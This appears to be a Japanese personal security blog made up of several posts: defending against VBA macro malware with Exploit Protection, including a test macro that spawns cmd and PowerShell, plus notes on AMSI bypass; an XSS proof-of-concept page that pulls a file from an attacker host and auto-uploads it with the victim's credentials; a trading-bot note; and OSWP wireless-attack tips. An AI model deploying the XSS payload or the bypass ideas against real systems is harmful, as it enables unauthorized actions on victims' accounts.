ただし個人でOffice 365買うの?とか、企業でもすぐにOffice 365へ移行できないよ、、、みたいな話は往々にあることだと思います。なので今回はそれ以外の方法で止められないか、というところを引き続きみます。

  • 不採用:Office 365 WebでOfficeファイルを開くポリシーにする

マクロの自動実行無効化について

では、マクロを業務で利用することがない場合。そんな時はマクロを止めちゃうのが手っ取り早いでしょう。一番声高に推奨されている方法だと思います。

f:id:news-nknskn:20201007200032p:plain
OfficeTrustCenter

ただし、上記のリンク中にもある通り、自動実行を止めたとしてもユーザがマクロを有効にする可能性は大いにあります。というか、感染するケースはユーザが実行する方が多いと思います。なのでpowershellが実行されることを想定して、そこでブロックできないかを考えてみます。

Powershellの実行制限について

Powershellなど不要ら!という前提で考えてみます。その場合、Powershellのプログラムが実行されること自体を止めることが可能です。具体的には、Active Directoryのグループポリシー、ローカルの場合はローカルセキュリティポリシーからPowershellの実行を禁止します。

以下のようにフルパスで設定したとしましょう。

f:id:news-nknskn:20201007194031p:plain
securitypolicy

その後再起動などをしてコンピュータに反映すれば、以下のような形でpowershellの実行を止めることができます。これで、powershell -enc ...のようなプロセス生成は止めることができます。

f:id:news-nknskn:20201007194424p:plain
psblocked
しかしこの場合、Powershellのバイナリを%temp%とかにコピーした上でrenameされたら?とかUnmanaged powershellをダウンロードされて実行される場合は?cmdで頑張ってexe実行までいくケースもあるよね?って話になります。そもそも私はPowershellは日常的に使うので止めたくないです。

それならもうWord.exeからのプロセス生成止められない?Wordで子プロセス生成するケースってどんな場合よ、っていう話があります。

※なお、バイナリファイルの実行をホワイトリストレベルで制限をかける運用を考えている場合、セキュリティポリシーでのブロックは非常に有効な手段になると思います。AppLockerとかAppLocker bypassだとかその辺の話です。興味がある方は調べてみてください。

Officeプログラムからの子プロセス生成を止める

ようやく言いたいところにたどり着きました。Officeから子プロセスを生成する処理というのは、よほどマクロで変態的なことをしない限りないはずです。

以下はWord/Excelに関して、ドキュメントおよびワークブックを複数開いた際に生成されるプロセスおよびそのプロセスツリーを確認した画面です。通常時、子プロセスを生成することはなさそうに思えます(あったら完全に調査不足ですごめんなさい指摘してください)。(→ありました。下部の追記2

f:id:news-nknskn:20201007201155p:plain
OfficeProcesses

Windows 10からはWindows Defenderへの追加機能として、Exploit Guardというものが実装されています。どんな機能があるのか、という点は以下の記事を参照するのが一番良いと思うので適宜見ていただくとして、ここではそのうち一つの機能である「子プロセスを許可しない」設定に注目します。

攻撃を軽減するために exploit protection を有効にする - Windows security | Microsoft Docs

Exploit Protection のカスタマイズ - Windows security | Microsoft Docs

いろいろggったり資料を見たりするとMS ATPとの組み合わせの記事も多く、「ATPお高いんでしょう?」みたいな印象を持たれがちがもしれませんが、実は(知ってる人は多いかもしれないですけど)Exploit protection自体はATPを導入しなくても普通の市販PCで設定することが可能です。実際に設定して、どう動くのか確認してみます。

Windows セキュリティ > アプリ&ブラウザコントロール > Exploit protection settings(最下部)

f:id:news-nknskn:20201007201849p:plain
EndpointProtection1

プログラム設定 > プログラム名を追加

f:id:news-nknskn:20201007202017p:plain
EndpointProtection2

タスクマネージャ(とかtasklist)からWordやExcel等Officeソフトの正式プログラム名を確認しておきます(なぜ統一感がないのか)。

f:id:news-nknskn:20201007202308p:plain

f:id:news-nknskn:20201007202311p:plain

それぞれに対し、以下のような感じで「子プロセスの生成を許可しない」設定にし、適用します。設定後、Word、Excelは再起動します(not コンピュータ)。

f:id:news-nknskn:20201007202649p:plain
winword-Disallowchildprocesses

それでは以下のようなサンプルマクロを書いて、実行してみます。

※ここでは動作確認のためWordにブロック設定、Excelにはブロックしない設定にしています。

Private Sub Test()
    'On Error Resume Next
    CreateObject("WScript.Shell").Run "cmd.exe"
    CreateObject("WScript.Shell").Exec "powershell.exe"
    e = GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create("notepad.exe", null, null, intProcessID)
End Function

Excelで実行、cmd, powershell, notepadが動いていることが確認できます。

f:id:news-nknskn:20201007204931p:plain
execviaexcel

Wordで実行

  • Runがめでたく死亡

f:id:news-nknskn:20201007205257p:plain
ErrorInRun

  • Execも同様に死亡

f:id:news-nknskn:20201007205351p:plain
ErrorInExec

※.Createの部分はOn Error Resume Nextをなくした状態でエラー出力なし、ただしプロセスも起動しないため画面キャプチャはなし。気になった方は試してみてください。

  • 採用:Exploit ProtectionによるOfficeファイルからの子プロセス生成停止

その他のファイルについて

攻撃者は他にもWSH(.js, .vbs)やらexeやらを送ることでどうにかこうにか端末を感染させようと試みたりしますが、その辺に関してはまた別のポリシー設定であったり、外から送られてきたexe実行するの?みたいな話があったりしてまた長くなるので以下省略

採用した項目一覧

上記の内容から以下の項目を採用しました。これでEmotetのようなVBAマルウェアは、プロセス生成までの流れのどこかしらでシステム的にも止められるはずです。

  • Windows Defender(クラウド保護有効)によるプロセス生成系マクロを含むOfficeファイルの削除
  • マクロの自動実行完全無効化(レジストリ
  • Exploit ProtectionによるOfficeファイルからの子プロセス生成停止

今回不採用だったけど手としてはアリだと思う項目

所感

  • これで取り合えずマクロを開いて即感染!みたいなことは防げると思われ
  • 正直最後のExploit protectionだけ有効にすればいいんじゃないかな、みたいな話はありますが、Officeファイル以外からの攻撃手法もあるので複合的に守っていきましょう
  • あれ?Windows Defenderここまで強くなってたの?
  • 侵入後の話でZerologonとかありますけど、どうやって打ち込むところまで辿り着くんでしょうね

追記1:Exploit protection bypass

Twitterで以下のコメントをいただきました。

全くその通りで、特定のプログラムからのプロセス生成が止められるなら、それ以外のプログラムから実行すりゃええやんって話です。これでExploit protection bypassは可能です(ババーン)

ただし今回の設定においては以下が有効であるため、残念ながらこの.shellexecute入りのマクロ付きOfficeファイルは、クラウド保護機能によって消される、もしくはAMSIによってマクロの実行が止められる結果になります。

  • Windows Defender(クラウド保護有効)によるプロセス生成系マクロを含むOfficeファイルの削除

AMSIによってマクロの実行が止められる場合、AMSI bypassテクニックを使うことで検知回避が部分的に可能ですが、bypassテクニックのほとんどはamsiScanBufferに対してアクションを起こすもので、クラウド保護もまるごと回避できるものは寡聞にして知りません。

ここらへんいじくってbypassできれば楽なんだけど誰かブログに書いてくれたりしないかな。日本じゃ無理なのか?

GitHub - med0x2e/GadgetToJScript: A tool for generating .NET serialized gadgets that can trigger .NET assembly load/execution when deserialized using BinaryFormatter from JS/VBS/VBA based scripts.

そんなわけで今コメントいただいている方法では、まだ上記の設定でプロセス生成までの流れの中で止めることが可能です。

追記2:通常操作時のオブジェクト生成について

Twitterで通常使用時に関して以下の指摘をいただきました。

あー、これは確かにそうかも、と思ったので簡単に調べてみました。 結論としては、「すでにExcelが起動している場合には新規オブジェクトの埋め込みも既存オブジェクトの編集もできる、Excelが起動していない場合はExcelの起動に失敗してオブジェクトの埋め込み・編集ができない」です。

オブジェクト埋め込み時の挙動をProcess Monitorで見てみるとこんな感じです。

  • Excelが起動しておらず、プロセス生成に失敗したパターン、ここで止まる(厳密にはレジストリ操作に関するログが続くけど細かすぎるので省略)

f:id:news-nknskn:20201009082058p:plain
FailedToRunExcel

  • Excelが起動しており、オブジェクト埋め込みに成功したパターン、上記のログののち、Threadに関するログが出てくる

f:id:news-nknskn:20201009083239p:plain

起動しているオブジェクトと通信してなんやかんやうまくやってるんだろうなーと推測。

うーん、これは普段使いとしてどうなんだろうか。Excelをバックグラウンドプロセスとして常時動かすようにしておけば特に意識しなくてよさそうだけど、メモリ食われて操作性が悪くなる気がする。

追記3:印刷オプションが利用できない問題について

ブログの下部にてコメントいただきました。

VM上かつ「Microsoft Print to PDF」で検証したときには問題なくPDFを作成できていたため、完全に見落としていました。実端末で確認したところ、プリンタオプションを使用する際に以下のように「splwow64.exe」を生成して、印刷系の操作を行うようでした。プリンタドライバが追加されたら実行されるようにでもなってるんでしょうか。

図は実端末上でProcess Hackerを使用してプロセスツリーを確認した際のものです。

f:id:news-nknskn:20201009202402p:plain

コメントでも返しましたが、ファイル>印刷オプションのすべてが使えなくなるようで、印刷の代替案としては「エクスポート」機能を利用してPDFを作成し、PDFビューアから印刷を行うしかなさそうでした。

Wordでの印刷を前提にしたレイアウトの場合はレイアウト崩れが気になるケースがありそう、かつ正直めんどくさいのでExploit Protection優先は微妙かもしれませんね。

Exploit Protection bypass(追記1)をDefenderのクラウド保護で止めた時点で、クラウド保護有効だけでいいのでは、ということに気が付いた人がいるかもしれませんが、まあ次善策ということで引き続き検討したいと思います(善?)


  • 10/8 AM, 2020: 誤字脱字修正, 「今回不採用だったけど手としてはアリだと思う項目」を追加
  • 10/8 PM, 2020: 追記1
  • 10/9 AM, 2020: 追記2
  • 10/9 PM, 2020: 追記3

以上

ファイルを自動アップロードをするxhr - XSS系小ネタ

XSS系の小ネタ、multipart + ファイルアップロードの箇所にReflected XSSがあるような場合のためのhtml

補足

  • ファイルコンテンツにスクリプトが含まれていると発火するケース
  • ファイル横流しでのアップロード
  • ちなみにダウンロードファイルはクライアント上にキャッシュされる。もしかしたらそこから何かしらできるかもできないかも(わからない)
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Auto File Upload</title>
  </head>
  <body>
    <script>
      let xhr= new XMLHttpRequest();
      xhr.withCredentials = true;
      // Get malicious file
      xhr.open('GET', 'http://attacker.local/hogehoge.csv', true);
      xhr.responseType = 'blob';
      xhr.send();
      xhr.onload = () => {
        let blob = xhr.response;
        let fd = new FormData();
        fd.append('param1', 'value1');
        fd.append('upload', blob, 'hogehoge.csv');
        
        xhr.open('POST', 'http://target.site/target_uri', true);
        xhr.send(fd);
      };
    </script>
  </body>
</html>

シストレに関する雑記2

動かし続けてる売買シグナルアルゴリズムを基に、シグナルに関する考察

採用しているサービス、技術について

  • プラットフォーム:AWS EC2
  • 言語:Python 3
  • テクニカルチャート:SMA

動かしてるアルゴリズムについてざっくり

  • SMAベース
    • 複数足に対してSMAを算出し、採用足でのクロスを一次シグナルとして検知
    • 一次クロス検知時に他の足がどんな状態かを分析、良さそうなシグナルの場合を二次シグナルとする
    • 二次シグナルに対し、避けるべき売買タイミングであるかどうかを確認、マッチしなければ最終シグナルとしてlogging&LINEに通知
  • 考え方
    • Dailyで一定のpips(開始時総資産に対する1%)を狙う→SMAで採用する足は、Dailyでのポジション確認に使用できそうな足に限定
    • 短い足(1m,3m, ..., 体感的には15mまでの足)のみを考慮した場合に大きな流れを汲むことができない、長い足(4h, 1day, 1week)のみを参照した場合に波の切り替わりタイミングを逃す可能性がある、などが考えられるため、データを俯瞰的に捉えられるアルゴリズムであれば値の流れを組むものができそう. イメージは下図の監視(https://fx.minkabu.jp/chart, みんかぶ) f:id:news-nknskn:20201001142131p:plain
      • 波形分析系のアルゴリズムにいいものがあったりするんだろうか、詳しくないので要調査

途中経過

  • ちゃんと追う&考察し始めてからはそんなに日は経ってないものの悪くなさそうな感じ
  • Daily +5.0pipsぐらいはいきそうに見える
  • 明確なダマシは二次シグナル時点で落とせているものの、くぐり抜けてしまっているものはある
    • 他のテクニカルチャートと組み合わせたり、三次シグナル条件ぐらいつけてもいいかもしれない

要深掘り&経過観察

OSWPとWireless hackに関してちょっと書いとく

TOC

Wireless hackingについて一般的な話

  • 認証方式はよく知られている通り大まかに以下の3種があるが、OSWP(WiFu)で扱われるのは以下のうち★をつけた部分(Official)
    • WEP★
    • WPA/WPA2★
    • WPA3
  • WPA3に関してはWPA2に比べると新しい規格なこともあって、汎用的な攻撃手法はまだ確立していない模様
    • そもそもWPA2時点で鍵生成時のメカニズムに対する攻撃とかは潰されているので、とんでもないうっかりが発見されない限りWPA2と同様の攻撃しかないと思われる(個人的見解)
  • WPA2に関しては上で触れた通り脆弱性を利用した攻撃手法は現時点で見つけられておらず、PSKであればクライアントに対するDeauthからの認証パケットキャプチャ&Offline crack、EAPで認証情報を投げるパターンであればeaphammerを使って情報を抜く(アクセスできるようになるとは言ってない)、ぐらいしかない
  • WEPに関しては攻撃することで鍵回復までできる
    • aircrack-ngにまとまってる

OSWP examの話

OSWP exam準備の話

  • 検証対象の認証方式
    • 資格取得だけ考えるなら、WiFuのドキュメント通りWEP・WPA/WPA2-PSKをやればよい
    • RedTeamとかWireless assessmentだとかのサービス提供を考えていて、その過程でOSWPを受けるならWPA2-EAPに対応している機器を購入した方がいい
    • 今の時代WEPを使ってるところなんてそうそうない、あと最近の機器はそもそもWEPを設定できなくなってる、新しく機器を購入する場合は対応認証方式をよく確認しておくこと
  • aircrack-ng関連のコマンドを打ち慣れておくこと
    • 検証環境の構築が一番めんどくさい、特にEAP
    • Projectのサイトにコマンド例があるのでOSWPの申し込み前に一通り試し打ちしておくと非常に良い
  • 事前準備:私の場合は実質3日ぐらい、あとはドキュメントを流し見て知らないとこがあったら腰据えて読む感じ
    • 環境構築1日、コマンド検証&手順作成1日、報告書テンプレート作成1日
    • 1-2時間使って一通りのコマンドジェネレータを用意しておけばよかったと後悔してる

所感

  • 準備のところでもちょっと触れてるが、実用性って点で考えると取る意ゲフンゲフン
  • 無線回りのお勉強だとか、暗号学的な観点で鍵生成アルゴリズム考えてみるとか、普段触れる機会が少ないところであれば良い気分転換になると思う

以上